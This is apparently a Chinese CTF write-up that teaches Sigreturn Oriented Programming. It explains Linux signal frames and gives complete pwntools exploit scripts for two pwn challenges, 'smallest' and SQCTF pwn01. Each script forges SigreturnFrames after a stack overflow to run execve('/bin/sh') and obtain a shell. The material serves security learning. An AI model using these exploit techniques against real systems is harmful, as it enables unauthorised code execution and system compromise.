SROP
参考
【技术分享】Sigreturn Oriented Programming攻击简介-安全KER - 安全资讯平台
signal机制
在介绍SROP之前需要介绍SROP利用的机制signal机制
signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

- 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
- 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
- signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。
首先,当由中断或异常产生时,会发出一个信号,然后会送给相关进程,此时系统切换到内核模式。
再次返回到用户模式前,内核会执行do_signal()函数,最终会调用setup_frame()函数来设置用户栈。setup_frame函数主要工作是往用户栈中push一个保存有全部寄存器的值和其它重要信息的数据结构(各架构各不相同),另外还会push一个signal function的返回地址——sigruturn()的地址。
当这些准备工作完成后,就开始执行由用户指定的signal function了。当执行完后,因为返回地址被设置为sigreturn()系统调用的地址了,所以此时系统又会陷入内核执行sigreturn()系统调用。此系统调用的主要工作是用原先push到栈中的内容来恢复寄存器的值和相关内容。当系统调用结束后,程序恢复执行。
对于 signal Frame 来说,会因为架构的不同而有所区别,这里给出分别给出 x86 以及 x64 的 sigcontext
-
x86
struct sigcontext { unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; unsigned long esp_at_signal; unsigned short ss, __ssh; struct _fpstate * fpstate; unsigned long oldmask; unsigned long cr2; }; -
x64
struct _fpstate { /* FPU environment matching the 64-bit FXSAVE layout. */ __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; struct _fpxreg _st[8]; struct _xmmreg _xmm[16]; __uint32_t padding[24]; }; struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8]; };
攻击原理
仔细回顾一下内核在 signal 信号处理的过程中的工作,我们可以发现,内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame 中。但是需要注意的是:
- Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。
- 由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。
其中第二点是最重要的
由于存在sigreturn系统调用,我们可以通过提前根据对应架构的Signal Frame结构,在栈上构造Signal Frame,然后调用sigreturn,改变例如rip(控制程序执行流程),rdi,rsi,rdx(调用函数传入的参数)等重要寄存器来达到控制程序的目的
利用前提
-
可以通过栈溢出来控制栈的内容
-
需要知道相应的地址
-
"/bin/sh"
-
Signal Frame
-
syscall
-
sigreturn
-
-
需要有够大的空间来塞下整个 sigal frame
360 春秋杯smallest-pwn
以360 春秋杯中的 smallest-pwn做例子
题目
打开IDA可以发现只有以下内容
.text:00000000004000B0 public start
.text:00000000004000B0 start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:00000000004000B0 xor rax, rax
.text:00000000004000B3 mov edx, 400h ; count
.text:00000000004000B8 mov rsi, rsp ; buf
.text:00000000004000BB mov rdi, rax ; fd
.text:00000000004000BE syscall ; LINUX - sys_read
.text:00000000004000C0 retn
.text:00000000004000C0 start endp
尝试
首先回想一下我们最后要达成什么目的,我们的目的是执行execve('/bin/sh',0,0)指令,所以我们需要rax=0x3B,rdi="bin/sh",rsi=0,rdx=0
再来看这个程序,这个程序就是利用系统调用执行read(0,rbp,0x400),并且直接ret到rbp的地址。所以可以通过溢出rbp来控制程序的执行流程
试验一下,可以看到输入的地址就是返回
然后观察这几个语句,我们可以通过控制rax来控制rdi。同时rax还是函数的返回值,而write()的返回值是读入字符的长度。可以通过这个控制rax。
而函数的返回地址我们也可以控制,所以可以通过控制返回地址跳过xor rax,rax来控制rax
这里有个比较巧的事,write的系统调用号是1,同时标准输出的文件标识符也是1,所以可以通过把rax置1,跳过xor rax,rax语句,来执行write(1,rbp,0x400),这样可以泄露栈地址。
通过泄露栈地址,我们可以把/bin/sh写到栈上,并且得知bin/sh的地址。然后构造Signal Frame,调用sigreturn()来执行execve("/bin/sh",0,0)
思路
直接借用hollk师傅的思路总结
- 向栈中部署三个start函数的起始位置也就是xor rax,rax代码地址(0x00000000004000B0),记做start_addr
- 在第一次执行read函数时,向程序写入“\xb3”使得部署的第二个start_addr的地址被覆盖成0x00000000004000B3,并使rax寄存器值变为1
- 控制write函数会打印出从当前栈顶开始的0x400个字节的内容,并接受指定信息
- 在栈中部署read函数需要对应的寄存器值,调用sigreturn将栈中数据压进寄存器
- 在栈中部署/bin/sh字符串,以及execve函数需要对应的寄存器值,调用sigreturn将栈中数据压进寄存器
exp
注意SigreturnFrame的rip必须为sys_add,不然其他地方有寄存器操作会改变寄存器的值
import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
from struct import pack
from LibcSearcher import LibcSearcher
filename = "./smallest"
p=process(filename)
elf = ELF(filename)
s = lambda data :p.send(data)
ss = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sls = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
def exp_init(arch,os,debug):
if(arch==0):
context.arch="i386"
else:
context.arch="amd64"
if(os==0):
context.os="linux"
if(debug==1):
context.log_level="debug"
def debug(cmd=""):
gdb.attach(p, cmd)
pause()
exp_init(1,0,1)
start_add=0x4000B0
syscall_ret=0x4000BE
payload=p64(start_add)*3
s(payload)
s('\xb3')
stack_add=uu64(p.recv()[8:16]) #这两种都可以
# stack_add=l64()
leak("stack_add",stack_add)
read=SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = stack_add
read.rdx = 0x400
read.rsp = stack_add
read.rip = syscall_ret
payload = p64(start_add) + p64(syscall_ret) + (bytes(read))
s(payload)
s(payload[8:8+15]) #输入15个字节使得rax寄存器的值为15,进行sigreturn调用
execve=SigreturnFrame()
execve.rax=constants.SYS_execve
execve.rdi=stack_add+0x120
execve.rsi=0
execve.rdx=0
execve.rsp=stack_add
execve.rip=syscall_ret
payload=p64(start_add)+p64(syscall_ret)+bytes(execve)
payload1=payload+(0x120-len(payload))*b'a'+b'/bin/sh\x00'
s(payload1)
s(payload1[8:8+15])
# debug()
p.interactive()
SQCTF pwn01 当时只道是寻常
题目
拖进IDA里可以看到主程序只有三个系统调用
IDA的反编译看着太难受,还是直接看汇编舒服😋
经过调查,只有两个部分的代码
- 主程序,三个系统调用
pop rdi;pop rax;retn的gadget
同时还在字符串中发现/bin/sh
通过以上分析,我们现在只缺少一个execve("/bin/sh",0,0)就可以拿到shell了。主要思路为 通过gadget控制rai为0xf,然后构造execve的SigreturnFrame来执行execve("/bin/sh",0,0)
exp
import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
from struct import pack
from LibcSearcher import LibcSearcher
filename = "./pwn"
p=process(filename)
elf = ELF(filename)
s = lambda data :p.send(data)
ss = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sls = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
def exp_init(arch,os,debug):
if(arch==0):
context.arch="i386"
else:
context.arch="amd64"
if(os==0):
context.os="linux"
if(debug==1):
context.log_level="debug"
def debug(cmd=""):
gdb.attach(p, cmd)
pause()
exp_init(1,0,1)
start_add=0x401000
sys_add=0x401045
rax_ret=0x40104A
binsh_add=0x40203A
execve=SigreturnFrame()
execve.rax=constants.SYS_execve
execve.rdi=binsh_add
execve.rsi=0
execve.rdx=0
execve.rip=sys_add
# debug()
payload=b'a'*8 + p64(rax_ret) + p64(0xf) + p64(sys_add) + bytes(execve)
sa(b'extraordinary.\n\r',payload)
p.interactive()

浙公网安备 33010602011771号